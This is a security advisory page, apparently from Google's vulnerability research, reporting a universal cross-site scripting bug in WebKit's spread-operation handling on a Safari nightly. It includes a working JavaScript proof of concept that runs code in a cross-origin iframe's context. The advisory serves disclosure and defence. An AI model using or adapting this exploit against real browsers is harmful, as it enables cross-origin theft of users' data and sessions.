Lucene search
K

WebKit operationSpreadGeneric Universal Cross Site Scripting

🗓️ 19 Apr 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

WebKit UXSS operationSpreadGeneric Safari 10.0.

Code
` WebKit: UXSS via operationSpreadGeneric   
  
  
  
  
Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.  
  
It seems that that optimization is not implemented to the release version of Safari yet.  
  
Tested on the Nighly 10.0.2(12602.3.12.0.1, <a href="https://crrev.com/210957" title="" class="" rel="nofollow">r210957</a>)  
  
PoC:  
<body>  
<script>  
  
'use strict';  
  
function spread(a) {  
return [...a];  
}  
  
let arr = Object.create([1, 2, 3, 4]);  
for (let i = 0; i < 0x10000; i++) {  
spread(arr);  
}  
  
let f = document.body.appendChild(document.createElement('iframe'));  
f.onload = () => {  
f.onload = null;  
  
try {  
spread(f.contentWindow);  
} catch (e) {  
e.constructor.constructor('alert(location)')();  
}  
};  
  
f.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>  
  
</script>  
</body>  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation